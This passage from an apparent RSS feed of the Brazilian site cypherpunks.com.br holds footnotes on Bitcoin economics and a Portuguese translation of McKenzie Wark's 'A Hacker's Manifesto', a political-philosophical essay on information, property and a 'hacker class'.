&lt;li>See ŠURDA, P. &lt;a href="https://nakamotoinstitute.org/static/docs/economics-of-bitcoin.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;Economics of Bitcoin: is Bitcoin an Alternative to Fiat Currencies and Gold?&amp;rdquo;&lt;/a>
, 2012 para uma analise excelente analise detalhada sobre o Bitcoin. Também veja o &lt;a href="http://www.economicsofbitcoin.com/" target="_blank" rel="noopener noreferrer">blog&lt;/a>
do autor. See GRAF, K. &lt;a href="http://konradsgraf.com/blog1/2013/2/27/in-depth-bitcoins-the-regression-theorem-and-that-curious-bu.html" target="_blank" rel="noopener noreferrer">&amp;ldquo;Bitcoins, the Regression Theorem, and that Curious but Unthreatening Empirical World&amp;rdquo;&lt;/a>
, 23 de fevereiro de 2013 para uma maravilhosa discussão e o teorema de regressão. Também veja o &lt;a href="http://konradsgraf.com/" target="_blank" rel="noopener noreferrer">blog&lt;/a>
do autor.&lt;/li>
&lt;li>Existe um programa maravilhoso chamado &lt;a href="http://retroshare.sourceforge.net/" target="_blank" rel="noopener noreferrer">RetroShare&lt;/a>
que tem muitas funções iguais a do Facebook, porém em uma rede criptografada e distribuida, sem um servidor central. Entretanto, o programa ainda precisa de muito trabalho paa que vire popular&lt;/li>
&lt;/ol>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/mempool/crypto-anarchy-and-libertarian-entrepreneurship-3/" target="_blank" rel="noopener noreferrer">Crypto-Anarchy and Libertarian Entrepreneurship – Chapter 3: The Killer App of Liberty&lt;/a>
&lt;/p></content:encoded></item><item><title>O Manifesto De Uma Hacker</title><link>https://cypherpunks.com.br/documentos/manifesto-de-uma-hacker/</link><pubDate>Wed, 01 May 2013 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/manifesto-de-uma-hacker/</guid><description>Qualquer que seja o código que hackeamos, seja linguagem de programação, linguagem poética, matemática ou música, curvas ou cores, criamos a possibilidade de coisas novas entrarem no mundo. Nem sempre grandes coisas, ou mesmo coisas boas, mas coisas novas. Na arte, na ciência, na filosofia e na cultura, em qualquer produção de …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Tradução por: Vinicius Yaunner
Revisão: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;strong>Nota do tradutor:&lt;/strong> Esse não é a tradução do &lt;em>A Hacker Manifesto&lt;/em> mas do &lt;em>A Hacker&amp;rsquo;s manifesto,&lt;/em> uma versão mais curta produzida para o formato de zine pela &lt;a href="https://anarchotranshuman.org/" target="_blank" rel="noopener noreferrer">anarchotranshuman.org,&lt;/a>
caso queiram saber mais sobre a autora recomendo o &lt;a href="https://baixacultura.org/2023/02/15/mckenzie-wark-e-a-morte-do-capital/" target="_blank" rel="noopener noreferrer">texto do BaixaCultura&lt;/a>
sobre ela.&lt;/p>
&lt;h1 id="mckenzie-wark">McKenzie Wark&lt;/h1>
&lt;h2 id="manifestação">Manifestação&lt;/h2>
&lt;p>Há uma ambiguidade assustando o mundo, a ambiguidade da abstração. As fortunas de estados e exércitos, empresas e comunidades dependem disso. Todas as classes em conflito – os latifundiários e agricultores, os trabalhadores e os capitalistas – reverenciam, mas temem a abstração implacável do mundo do qual suas fortunas ainda dependem. Todas as classes menos uma. A classe &lt;em>hacker&lt;/em>.&lt;/p>
&lt;p>Qualquer que seja o código que hackeamos, seja linguagem de programação, linguagem poética, matemática ou música, curvas ou cores, criamos a possibilidade de coisas novas entrarem no mundo. Nem sempre grandes coisas, ou mesmo coisas boas, mas coisas novas. Na arte, na ciência, na filosofia e na cultura, em qualquer produção de conhecimento onde os dados podem ser coletados, onde a informação pode ser extraída, e onde nessa informação são produzidas novas possibilidades para o mundo, há hackers &lt;em>hackeando&lt;/em> o novo para fora do velho. Enquanto os hackers criam esses novos mundos, nós não temos posse dele. Aquilo que criamos está hipotecado a outros, e aos interesses de outros, a estados e corporações que controlam os meios para fazer mundos que só nós descobrimos. Nós não possuímos o que produzimos – ele nos possui.&lt;/p>
&lt;p>E ainda não sabemos bem quem somos. Embora reconheçamos nossa existência distinta como um grupo, como programadores, como artistas, escritores, cientistas ou músicos, raramente vemos essas formas de nos representar como meros fragmentos de uma experiência de classe que ainda luta para se expressar como ela mesma, como expressões do processo de produção de abstração no mundo. &lt;em>Geeks&lt;/em> e &lt;em>freaks&lt;/em> tornam-se o que são negativamente, através de sua exclusão por outros. Os hackers são uma classe, mas uma classe abstrata, uma classe que ainda não se &lt;em>hackeou&lt;/em> na existência manifestada como ela mesma.&lt;/p>
&lt;h2 id="abstração">Abstração&lt;/h2>
&lt;p>A abstração pode ser descoberta ou produzida, pode ser material ou imaterial, mas a abstração é o que todo hacker produz e afirma. Abstrair é construir um plano sobre o qual assuntos diferentes e não relacionados podem ser trazidos para muitas relações possíveis. É através do abstrato que o virtual é identificado, produzido e divulgado. O virtual não é apenas o potencial latente nas matérias, é o potencial do potencial. Hackear é produzir ou aplicar o abstrato à informação e expressar a possibilidade de novos mundos.&lt;/p>
&lt;p>Todas as abstrações são abstrações da natureza. Abstrair é expressar a virtualidade da natureza, tornar conhecida alguma instância de suas múltiplas possibilidades, atualizar uma relação a partir da relacionalidade infinita. As abstrações liberam o potencial da matéria física. E, no entanto, a abstração depende de algo que tem uma existência independente da matéria física – a informação. A informação não é menos real que a matéria física e depende dela para existir. Como a informação não pode existir de forma pura e imaterial, a classe hacker também não. Necessariamente deve lidar com uma classe dominante que possui os meios materiais de extrair ou distribuir informação, ou com uma classe produtora que extrai e distribui. O interesse de classe dos hackers está em liberar a informação de suas restrições materiais.&lt;/p>
&lt;p>À medida que a abstração da propriedade privada foi estendida à informação, ela produziu a classe hacker como uma classe. Os hackers devem vender sua capacidade de abstração para uma classe que possui os meios de produção, a classe vetorialista – a classe dominante emergente de nosso tempo. A classe vetorialista está travando uma luta intensa para desapropriar os hackers de sua propriedade intelectual.&lt;/p>
&lt;p>Patentes e direitos autorais acabam todos nas mãos, não de seus criadores, mas da classe vetorialista que possui os meios de perceber o valor dessas abstrações. A classe vetorialista luta para monopolizar a abstração. Os hackers encontram-se despossuídos tanto individualmente quanto como classe. Os hackers vêm aos poucos lutar contra as formas particulares em que a abstração é mercantilizada e transformada em propriedade privada da classe vetorialista. Os hackers vêm para lutar coletivamente contra as acusações usurárias que os vetorialistas extorquem pelo acesso às informações que os hackers produzem coletivamente, mas que os vetorialistas coletivamente adquirem. Os hackers vêm como uma classe para reconhecer que seu interesse de classe é melhor expresso através da luta para libertar a produção de abstração não apenas dos grilhões particulares desta ou daquela forma de propriedade, mas para abstrair a própria forma de propriedade.&lt;/p>
&lt;p>O que torna nossos tempos diferentes é que o que agora aparece no horizonte é a possibilidade de uma sociedade finalmente liberta da necessidade, tanto real quanto imaginada, por uma explosão de inovações abstratas. Abstração com o potencial de quebrar de uma vez por todas os grilhões que prendem o hacking a interesses de classe ultrapassados e regressivos. Já passou o tempo em que os hackers devem se unir a todas as classes produtoras do mundo – para liberar recursos produtivos e inventivos do mito da escassez. &amp;ldquo;O mundo já possui o sonho de um tempo cuja consciência deve agora possuir para realmente vivê-lo.&amp;rdquo;&lt;/p>
&lt;h2 id="produção">Produção&lt;/h2>
&lt;p>A produção produz todas as coisas e todos os produtores de coisas. A produção produz não apenas o objeto do processo de produção, mas também o produtor como sujeito. Hacking é a produção da produção. O hack produz uma produção de novo tipo, que tem como resultado um produto singular e único, e um produtor singular e único. Todo hacker é ao mesmo tempo produtor e produto do hack, e emerge em sua singularidade como memória do hack como processo.&lt;/p>
&lt;p>A produção se dá a partir de um hack prévio que dá à produção sua identidade formal, social, repetível e reprodutível. Toda produção é um hack formalizado e repetido a partir de sua representação. Produzir é repetir; hackear, diferenciar.&lt;/p>
&lt;p>O hack produz um excedente útil e um inútil, embora a utilidade de qualquer excedente seja social e historicamente determinada. O excedente útil vai para a expansão do reino da liberdade arrancada da necessidade. O excedente inútil é o excedente da própria liberdade, a margem da produção livre não constrangida pela produção por necessidade.&lt;/p>
&lt;p>A produção de um excedente cria a possibilidade de expansão da liberdade da necessidade. Mas na sociedade de classes, a produção de um excedente também cria novas necessidades. A dominação de classe assume a forma da captura do potencial produtivo da sociedade e seu aproveitamento para a produção, não da liberdade, mas da própria dominação de classe. A classe dominante subordina o hack à produção de formas de produção que podem ser aproveitadas para aumentar o poder de classe e a supressão ou marginalização de outras formas de hacking. O que as classes produtoras – fazendeiros, trabalhadores e hackers – têm em comum é o interesse em libertar a produção de sua subordinação às classes dominantes que transformam a produção na produção de novas necessidades, que arrancam a escravidão do excedente. Os elementos de uma produtividade livre já existem de forma atomizada, nas classes produtivas. O que resta é a liberação de sua virtualidade.&lt;/p>
&lt;h2 id="classe">Classe&lt;/h2>
&lt;p>A luta de classes, em seus intermináveis reveses, reviravoltas e compromissos, retorna repetidas vezes à questão não respondida – propriedade – e as classes em conflito retornam repetidamente com novas respostas. A classe trabalhadora questionou a necessidade da propriedade privada, e o partido comunista surgiu, alegando responder aos desejos da classe trabalhadora. A resposta, expressa no Manifesto Comunista, foi &amp;ldquo;centralizar todos os instrumentos de produção nas mãos do Estado&amp;rdquo;. Mas tornar o Estado o monopolista da propriedade só produziu uma nova classe dominante e uma nova e mais brutal luta de classes. Mas talvez essa não tenha sido a resposta final, e o curso da luta de classes ainda não terminou. Talvez haja outra classe que possa colocar a questão da propriedade de uma nova maneira – e oferecer novas respostas para quebrar o monopólio das classes dominantes sobre a propriedade.&lt;/p>
&lt;p>Há uma dinâmica de classe conduzindo cada estágio do desenvolvimento do mundo vetorial no qual nos encontramos agora. A classe pastoralista dispersa a grande massa de camponeses que tradicionalmente trabalhavam a terra sob o domínio dos senhores feudais. Os pastores suplantam os latifundiários feudais, liberando a produtividade da terra que reivindicam como propriedade privada. À medida que novas formas de abstração tornam possível produzir um excedente da terra com cada vez menos agricultores, os pastores os afastam de suas terras, privando-os de seu sustento. Agricultores despossuídos procuram trabalho e um novo lar nas cidades. Aqui os agricultores se tornam trabalhadores, pois o capital os coloca para trabalhar em suas fábricas. O capital como propriedade dá origem a uma classe de capitalistas que possuem os meios de produção e a uma classe de trabalhadores, despossuídos deles – e por eles. Agricultores despossuídos tornam-se trabalhadores, apenas para serem desapropriados novamente. Tendo perdido suas terras, eles perdem por sua vez sua cultura. O capital produz em suas fábricas não apenas as necessidades da existência, mas um modo de vida que espera que seus trabalhadores consumam. A vida mercantilizada despoja o trabalhador da informação tradicionalmente passada fora do domínio da propriedade privada como cultura, como presente de uma geração para a próxima, e a substitui por informação em forma mercantilizada.&lt;/p>
&lt;p>A informação, como a terra ou o capital, torna-se uma forma de propriedade monopolizada por uma classe de vetorialistas, assim chamados porque controlam os vetores ao longo dos quais a informação é abstraída, assim como os capitalistas controlam os meios materiais com os quais os bens são produzidos e os pastores a terra com qual alimento é produzido. A informação circulava na cultura da classe trabalhadora como propriedade social de todos. Mas quando a informação, por sua vez, se torna uma forma de propriedade privada, os trabalhadores são despossuídos dela e devem comprar sua própria cultura de volta de seus proprietários, a classe vetorialista. Todo o tempo, o próprio tempo, torna-se uma experiência mercantilizada.&lt;/p>
&lt;p>Os vetoralistas tentam quebrar o monopólio do capital sobre o processo de produção e subordinar a produção de bens à circulação da informação. As corporações dirigentes se despojam de sua capacidade produtiva, pois esta não é mais uma fonte de poder. Seu poder está em monopolizar a propriedade intelectual – patentes e marcas – e os meios de reproduzir seu valor – os vetores de comunicação. A privatização da informação torna-se o aspecto dominante, e não subsidiário, da vida mercantilizada. À medida que a propriedade privada avança da terra para o capital e para a informação, a própria propriedade se torna mais abstrata. Assim como o capital liberta a terra de sua fixidez espacial, a informação como propriedade libera o capital de sua fixidez em um objeto particular. A classe hacker, produtora de novas abstrações, torna-se mais importante para cada classe dominante sucessiva, pois cada uma depende cada vez mais da informação como recurso.&lt;/p>
&lt;p>A classe hacker surge da transformação da informação em propriedade, na forma de propriedade intelectual, incluindo patentes, marcas, direitos autorais e direito moral dos autores. A classe hacker é a classe com a capacidade de criar não apenas novos tipos de objetos e sujeitos no mundo, não apenas novos tipos de forma de propriedade em que podem ser representados, mas novos tipos de relação além da forma de propriedade. A formação da classe hacker como classe vem justamente neste momento em que a liberdade da necessidade e da dominação de classe aparece no horizonte como uma possibilidade.&lt;/p>
&lt;h2 id="propriedade">Propriedade&lt;/h2>
&lt;p>A propriedade constitui um plano abstrato sobre o qual todas as coisas podem ser coisas com uma qualidade em comum, a qualidade da propriedade. A terra é a principal forma de propriedade. Os pastores adquirem terras como propriedade privada por meio da expropriação forçada de camponeses que antes compartilhavam uma parte dela em forma de propriedade pública. O capital é a forma secundária de propriedade, a privatização dos ativos produtivos na forma de ferramentas, máquinas e materiais de trabalho. O capital, ao contrário da terra, não está em oferta ou disposição fixa. Pode ser feito e refeito, movido, agregado e disperso. Um grau infinitamente maior de potencial pode ser liberado do mundo como um recurso produtivo, uma vez que o plano abstrato da propriedade inclui tanto a terra quanto o capital – tal é o “avanço” do capital.&lt;/p>
&lt;p>A classe capitalista reconhece o valor do hack no abstrato, enquanto os pastores demoraram a apreciar a produtividade que pode fluir da aplicação da abstração ao processo de produção. Sob a influência do capital, o Estado sanciona formas de propriedade intelectual, como patentes e direitos autorais, que garantem uma existência independente para os hackers como classe, e um fluxo de inovações na cultura e na ciência a partir do qual o desenvolvimento se origina. A informação, uma vez que se torna uma forma de propriedade, se desenvolve além de um mero suporte para o capital – ela se torna a base de uma forma de acumulação por direito próprio.&lt;/p>
&lt;p>Os hackers devem calcular seus interesses não como proprietários, mas como produtores, pois é isso que os distingue da classe vetorialista. Os hackers não apenas possuem e lucram com a posse de informações. Produzem novas informações e, como produtores, precisam acessá-las livres da dominação absoluta da forma mercadoria. O hacking como uma atividade experimental pura e livre deve estar livre de qualquer restrição que não seja auto-imposta. Somente a partir de sua liberdade produzirá os meios de produzir um excedente de liberdade e a liberdade como excedente.&lt;/p>
&lt;p>A propriedade privada surgiu em oposição não apenas à propriedade feudal, mas também às formas tradicionais da economia da dádiva, que eram um grilhão ao aumento da produtividade da economia mercantil. A troca de presentes qualitativa foi substituída pela troca quantificada e monetizada. O dinheiro é o meio pelo qual terra, capital, informação e trabalho se confrontam como entidades abstratas, reduzidas a um plano abstrato de medida. A dádiva torna-se uma forma marginal de propriedade, invadida por toda parte pela mercadoria e voltada para o mero consumo. A dádiva é marginal, mas, no entanto, desempenha um papel vital na consolidação das relações recíprocas e comunitárias entre pessoas que, de outra forma, só podem se confrontar como compradoras e vendedoras de mercadorias. À medida que a produção vetorial se desenvolve, surgem os meios para a renovação da economia da dádiva. Em todos os lugares que o vetor chega, ele traz para a órbita da mercadoria. Mas aonde quer que o vetor chegue, ele também traz consigo a possibilidade da relação de dádiva.&lt;/p>
&lt;p>A classe hacker tem uma grande afinidade com a economia da dádiva. O hacker luta para produzir uma subjetividade qualitativa e singular, em parte pelo próprio ato do hack. A dádiva, como troca qualitativa entre partes singulares, permite que cada parte seja reconhecida como produtora singular, como sujeito da produção, e não como objeto mercantilizado e quantificado. A dádiva expressa de forma social e coletiva a subjetividade da produção da produção, enquanto a propriedade mercantilizada representa o produtor como um objeto, uma mercadoria quantificável como qualquer outra, de valor apenas relativo. O dom da informação não precisa dar origem a conflito sobre a informação como propriedade, pois a informação não precisa sofrer o artifício da escassez uma vez liberada da mercantilização.&lt;/p>
&lt;p>A classe vetorialista contribuiu, sem querer, para o desenvolvimento do espaço vetorial dentro do qual a dádiva como propriedade poderia retornar, mas rapidamente reconheceu seu erro. À medida que a economia vetorial se desenvolve, cada vez menos toma a forma de um espaço social de troca aberta e gratuita de presentes, e cada vez mais toma a forma de produção mercantilizada para venda privada. A classe vetorialista pode relutantemente acomodar alguma margem de informação socializada, como o preço que paga em uma democracia pela promoção de seus principais interesses. Mas a classe vetorialista, com razão, vê na dádiva um desafio não apenas aos seus lucros, mas à sua própria existência. A economia da dádiva é a prova virtual da natureza parasitária e supérflua dos vetores como classe.&lt;/p>
&lt;h2 id="vetor">Vetor&lt;/h2>
&lt;p>Em epidemiologia, um vetor é o meio particular pelo qual um determinado patógeno viaja de uma população para outra. A água é um vetor para a cólera, fluidos corporais para o HIV. Por extensão, um vetor pode ser qualquer meio pelo qual a informação se move. Telégrafo, telefone, televisão, telecomunicações: esses termos designam não apenas vetores particulares, mas uma capacidade abstrata geral que eles trazem ao mundo e expandem. Todas são formas de telestesia, ou percepção à distância. Um determinado vetor de mídia tem certas propriedades fixas de velocidade, largura de banda, escopo e escala, mas pode ser implantado em qualquer lugar, pelo menos em princípio. O desenvolvimento desigual do vetor é político e econômico, não técnico.&lt;/p>
&lt;p>Com a mercantilização da informação vem sua vetorização. Extrair um excedente de informação requer tecnologias capazes de transportar informação através do espaço, mas também através do tempo. O arquivo é um vetor através do tempo assim como a comunicação é um vetor que atravessa o espaço. A classe vetorial se destaca uma vez que possui tecnologias poderosas para vetorizar informações.&lt;/p>
&lt;p>A classe vetorial pode mercantilizar os próprios estoques de informação, fluxos ou vetores. Um estoque de informações é um arquivo, um corpo de informações mantido ao longo do tempo que tem valor duradouro. Um fluxo de informação é a capacidade de extrair informações de valor temporário de eventos e distribuí-las ampla e rapidamente. Um vetor é o meio de alcançar a distribuição temporal de um estoque ou a distribuição espacial de um fluxo de informação. O poder vetorial é geralmente buscado através da propriedade de todos os três aspectos. A classe vetorial ascende à ilusão de um plano instantâneo e global de cálculo e controle. Mas não é a classe vetorialista que passa a deter o poder subjetivo sobre o mundo objetivo. O próprio vetor usurpa o papel subjetivo, tornando-se o único repositório da vontade em direção a um mundo que só pode ser apreendido em sua forma mercantilizada. O reino do vetor é aquele em que toda e qualquer coisa pode ser apreendida como coisa. O vetor é um poder sobre todo o mundo, mas um poder que não é distribuído uniformemente. Nada na tecnologia do vetor determina seu uso possível. Tudo o que é determinado pela tecnologia é a forma como a informação é objetivada.&lt;/p>
&lt;p>A classe vetorial luta a cada passo para manter seu poder subjetivo sobre o vetor, mas como continua a lucrar com a proliferação do vetor, alguma capacidade sobre ele sempre escapa ao controle. Para comercializar e lucrar com a informação que distribui sobre o vetor, deve, em algum grau, abordar a grande maioria das classes produtoras como sujeitos, e não como objetos de mercantilização. A classe hacker busca libertar o vetor do reino da mercadoria, mas não libertá-lo indiscriminadamente. Em vez disso, submetê-lo ao desenvolvimento coletivo e democrático. A classe hacker pode liberar a virtualidade do vetor apenas em princípio. Cabe a uma aliança de todas as classes produtivas transformar esse potencial em realidade, organizar-se subjetivamente e utilizar os vetores disponíveis para um devir coletivo e subjetivo.&lt;/p>
&lt;h2 id="educação">Educação&lt;/h2>
&lt;p>A educação é escravidão, aprisiona a mente e a torna um recurso para o poder de classe. Quando a classe dominante prega a necessidade de uma educação, invariavelmente significa uma educação em necessidade. Educação não é o mesmo que conhecimento. Nem é o meio necessário para adquirir conhecimento. A educação é a organização do conhecimento dentro dos limites da escassez. A educação &amp;lsquo;disciplina&amp;rsquo; o conhecimento, segregando-o em &amp;lsquo;campos&amp;rsquo; homogêneos, presididos por guardiões devidamente &amp;lsquo;qualificados&amp;rsquo; encarregados de policiar a representação do campo. Pode-se adquirir uma educação, como se fosse uma coisa, mas torna-se conhecedor, através de um processo de transformação. O conhecimento, como tal, só é captado parcialmente pela educação, sua prática sempre a ilude e a ultrapassa.&lt;/p>
&lt;p>A classe pastoril tem resistido à educação, exceto como doutrinação na obediência. Quando o capital exigia &amp;ldquo;mãos&amp;rdquo; para fazer seu trabalho sujo, a maior parte da educação era dedicada a treinar mãos úteis para cuidar das máquinas e corpos dóceis que aceitassem como natural a ordem social em que se encontravam. Quando o capital exigia cérebros, tanto para executar suas operações cada vez mais complexas quanto para se dedicar ao trabalho de consumir seus produtos, era necessário mais tempo gasto na prisão da educação para a admissão nas fileiras da classe trabalhadora remunerada.&lt;/p>
&lt;p>A chamada classe média obtém acesso privilegiado ao consumo e segurança por meio da educação, na qual é obrigada a investir parte substancial de sua renda. Mas a maioria continua sendo trabalhadora, embora trabalhe com informação em vez de algodão ou metal. Eles trabalham em fábricas, mas são treinados para pensar nelas como escritórios. Eles recebem salários para casa, mas são treinados para pensar nisso como um salário. Eles usam um uniforme, mas são treinados para pensar nele como um terno. A única diferença é que a educação os ensinou a dar nomes diferentes aos instrumentos de exploração e a desprezar aqueles de sua própria classe que os nomeiam de maneira diferente.&lt;/p>
&lt;p>Onde a classe capitalista vê a educação como um meio para um fim, a classe vetorialista a vê como um fim em si mesma. Ele vê oportunidades para tornar a educação uma indústria lucrativa por si só, com base na garantia da propriedade intelectual como uma forma de propriedade privada. Para os vetorialistas, educação, como cultura, é apenas &amp;lsquo;conteúdo&amp;rsquo; para mercantilização.&lt;/p>
&lt;p>A classe hacker tem uma relação ambivalente com a educação. A classe hacker deseja conhecimento, não educação. O hacker nasce pela pura liberdade do conhecimento em si. O hack expressa o conhecimento em sua virtualidade, ao produzir novas abstrações que não necessariamente se enquadram no regime disciplinar de gestão e mercantilização da educação. O conhecimento hacker implica, em sua prática, uma política de informação livre, aprendizado livre, entrega do resultado a uma rede de pares. O conhecimento hacker implica também uma ética do conhecimento sujeita às reivindicações do interesse público e livre de subordinação à produção de mercadorias. Isso coloca o hacker em uma relação antagônica à luta da classe capitalista para fazer da educação uma indução à escravidão assalariada.&lt;/p>
&lt;p>Apenas um conflito intelectual tem alguma relação real com a questão de classe para os hackers: de quem é a propriedade do conhecimento? É papel do conhecimento autorizar por meio da educação sujeitos que são reconhecidos apenas por sua função em uma economia, manipulando suas representações autorizadas como objetos? Ou é função do conhecimento produzir os fenômenos sempre diferentes do hack, nos quais os sujeitos se tornam outros que não eles mesmos, e descobrem que o mundo objetivo contém potenciais diferentes do que aparece?&lt;/p>
&lt;h2 id="hacking">Hacking&lt;/h2>
&lt;p>O virtual é o verdadeiro domínio do hacker. É a partir do virtual que o hacker produz expressões sempre novas do atual. Para o hacker, o que é representado como real é sempre parcial, limitado, talvez até falso. Para o hacker há sempre um excedente de possibilidade expresso no que é atual, o excedente do virtual. Este é o domínio inesgotável do que é real sem ser atual, do que não é, mas do que pode ser. Hackear é liberar o virtual no real, expressar a diferença do real.&lt;/p>
&lt;p>Através da aplicação da abstração, a classe hacker produz a possibilidade de produção, a possibilidade de fazer algo do e com o mundo – e de viver do excedente produzido pela aplicação da abstração à natureza – a qualquer natureza. Através da produção de novas formas de abstração, a classe hacker produz a possibilidade do futuro – não apenas &amp;lsquo;o&amp;rsquo; futuro, mas um conjunto infinito possível de futuros, o próprio futuro como virtualidade.&lt;/p>
&lt;p>Sob a sanção da lei, o hack se torna uma propriedade finita, e a classe hacker emerge, como todas as classes emergem, de uma relação com uma forma de propriedade. Como todas as formas de propriedade, a propriedade intelectual impõe uma relação de escassez. Atribui um direito de propriedade a um proprietário às custas dos não proprietários, a uma classe de possuidores às custas dos despossuídos.&lt;/p>
&lt;p>Por sua própria natureza, o ato de hackear supera os limites que a propriedade lhe impõe. Novos hacks substituem velhos hacks e os desvalorizam como propriedade. O hack como nova informação é produzido a partir de informações já existentes. Isso dá à classe hacker um interesse em sua disponibilidade gratuita mais do que em um direito exclusivo. A natureza imaterial da informação significa que a posse de uma informação por um não precisa privar outro dela.&lt;/p>
&lt;p>Na medida em que o hack se encarna na forma de propriedade, ele confere à classe hacker interesses bem diferentes de outras classes, sejam elas exploradoras ou exploradas. O interesse da classe hacker reside antes de tudo na livre circulação da informação, sendo esta a condição necessária para a renovada afirmação do hack. Mas a classe hacker como classe também tem interesse na representação do hacker como propriedade, como algo do qual pode derivar uma fonte de renda que dá ao hacker alguma independência das classes dominantes.&lt;/p>
&lt;p>A própria natureza do hack dá ao hacker uma crise de identidade. O hacker busca uma representação do que é ser hacker nas identidades de outras classes. Alguns se veem como vetorialistas, negociando com a escassez de suas propriedades. Alguns se veem como trabalhadores, mas como privilegiados em uma hierarquia de assalariados. A classe hacker se produz como ela mesma, mas não para si mesma. Ele (ainda) não possui uma consciência de sua consciência. Não tem consciência de sua própria virtualidade. Ela precisa distinguir entre seu interesse competitivo no hack e seu interesse coletivo em descobrir uma relação entre hackers que expresse um futuro aberto e contínuo.&lt;/p>
&lt;h2 id="informação">Informação&lt;/h2>
&lt;p>A informação quer ser livre, mas está em toda parte acorrentada. A informação é o potencial do potencial. Quando livre, libera as capacidades latentes de todas as coisas e pessoas, objetos e sujeitos. A informação é, de fato, o próprio potencial para que haja objetos e sujeitos. É o meio em que objetos e sujeitos realmente passam a existir, e é o meio em que reside sua virtualidade. Quando a informação não é livre, então a classe que a possui ou a controla volta sua capacidade para seu próprio interesse e para longe de sua própria virtualidade inerente.&lt;/p>
&lt;p>Informação não tem nada a ver com comunicação, ou com mídia. &amp;ldquo;Não nos falta comunicação. Pelo contrário, temos muito dela. Falta criação. Falta resistência ao presente.&amp;rdquo; A informação é justamente essa resistência, esse atrito. A pedido da classe vetorialista, o Estado reconhece como propriedade qualquer comunicação, qualquer produto de mídia com algum grau mínimo de diferença reconhecível na troca de mercadorias. Onde a comunicação requer apenas a repetição dessa diferença mercantilizada, a informação é a produção da diferença da diferença.&lt;/p>
&lt;p>A prisão do livre fluxo de informação significa a escravização do mundo aos interesses daqueles que lucram com a escassez de informação, a classe vetorial. A escravização da informação significa a escravização de seus produtores aos interesses de seus proprietários. É a classe hacker que explora a virtualidade da informação, mas é a classe vetorialista que possui e controla os meios de produção da informação em escala industrial. Privatizar a cultura, a educação e a comunicação como conteúdos mercantilizados distorce e deforma seu livre desenvolvimento e impede o próprio conceito de sua liberdade de seu próprio livre desenvolvimento. Enquanto a informação permanece subordinada à propriedade, não é possível para seus produtores calcular livremente seus interesses, ou descobrir o que a verdadeira liberdade de informação pode potencialmente produzir no mundo.&lt;/p>
&lt;p>A informação livre deve ser livre em todos os seus aspectos – como estoque, como fluxo e como vetor. O estoque de informações é a matéria-prima da qual a história é abstraída. O fluxo da informação é a matéria-prima da qual se abstrai o presente, um presente que forma o horizonte que a linha abstrata de um saber histórico atravessa, indicando um futuro à sua vista. Nem estoques nem fluxos de informação existem sem vetores ao longo dos quais eles podem ser atualizados. Os eixos espaciais e temporais da informação livre devem fazer mais para oferecer uma representação das coisas, como uma coisa à parte. Devem tornar-se o meio de coordenação da afirmação de um movimento, ao mesmo tempo objetivo e subjetivo, capaz de conectar a representação objetiva das coisas à apresentação de uma ação subjetiva.&lt;/p>
&lt;p>Não é apenas a informação que deve ser gratuita, mas o conhecimento de como usá-la. A informação em si é uma mera coisa. Requer uma capacidade ativa e subjetiva para se tornar produtivo. A informação é livre não para representar o mundo perfeitamente, mas para expressar sua diferença do que é e para expressar a força cooperativa que transforma o que é no que pode ser. O teste de uma sociedade livre não é a liberdade de consumir informação, nem de produzi-la, nem mesmo de implementar seu potencial no mundo privado de sua escolha. O teste de uma sociedade livre é a liberdade para a transformação coletiva do mundo através de abstrações livremente escolhidas e livremente atualizadas.&lt;/p>
&lt;h2 id="representação">Representação&lt;/h2>
&lt;p>Toda representação é falsa. Uma semelhança difere necessariamente daquilo que representa. Se não, seria o que representa e, portanto, não uma representação. A única representação verdadeiramente falsa é a crença na possibilidade de uma representação verdadeira. A crítica não é uma solução, mas o próprio problema. A crítica é uma ação policial em representação, a serviço apenas da manutenção do valor da propriedade através do estabelecimento de seu valor.&lt;/p>
&lt;p>A política da representação é sempre a política do Estado. O Estado nada mais é do que o policiamento da adequação da representação ao corpo do que ela representa. Mesmo em sua forma mais radical, a política de representação sempre pressupõe um estado abstrato ou ideal que atuaria como garantidor de suas representações escolhidas. Ela anseia por um Estado que reconheça essa etnia oprimida, ou sexualidade, mas que, no entanto, ainda é um desejo de um Estado, e um Estado que, no processo, não seja contestado como uma afirmação de interesse de classe, mas seja aceito como o juiz de representação.&lt;/p>
&lt;p>E sempre, o que está excluído mesmo desse estado imaginário iluminado, seriam aqueles que recusam a representação, a saber, a classe hacker como classe. Hackear é recusar a representação, fazer as coisas se expressarem de outra forma. Hackear é sempre produzir uma diferença, mesmo que apenas uma diferença mínima, na produção de informação. Hackear é perturbar o objeto ou o sujeito, transformando de alguma forma o próprio processo de produção pelo qual objetos e sujeitos passam a existir e se reconhecem por suas representações.&lt;/p>
&lt;p>A política da informação, do conhecimento, avança não por uma negação crítica das falsas representações, mas por uma política positiva da virtualidade do enunciado. O excedente inesgotável de declarações é aquele aspecto da informação do qual depende o interesse de classe dos hackers. Hacking traz à existência a multiplicidade inesgotável de todos os códigos, sejam eles naturais ou sociais, programados ou poéticos. Mas como é o ato de hackear que compõe, ao mesmo tempo, o hacker e o hack, o hacking não reconhece nenhuma escassez artificial, nenhuma licença oficial, nenhuma força policial credenciadora além daquela composta pela economia da dádiva entre os próprios hackers.&lt;/p>
&lt;p>Uma política que abrace sua existência como afirmação, como diferença afirmativa, não como negação, pode escapar à política do Estado. Ignorar ou plagiar a representação, recusar-se a dar-lhe o que lhe é devido, é começar uma política de apatridia. Uma política que recusa a autoridade do Estado para autorizar o que é uma afirmação valorizada e o que não é. Uma política que é sempre temporária, sempre se tornando outra coisa que não ela mesma. Mesmo hacks inúteis podem vir, perversamente, a ser valorizados pela pureza de sua inutilidade. Não há nada que não possa ser valorizado como representação. O hack sempre tem que seguir em frente.&lt;/p>
&lt;p>Em todos os lugares a insatisfação com as representações está se espalhando. Às vezes é uma questão de quebrar algumas vitrines, às vezes de quebrar algumas cabeças. A chamada &amp;lsquo;violência&amp;rsquo; contra o Estado, que raramente é mais do que atirar pedras em sua polícia, é meramente o desejo pelo Estado expresso em sua forma masoquista. Onde alguns clamam por um estado que reconheça sua representação, outros clamam por um estado que os espanque. Tampouco é uma política que escapa ao desejo cultivado no sujeito pelo aparato educacional.&lt;/p>
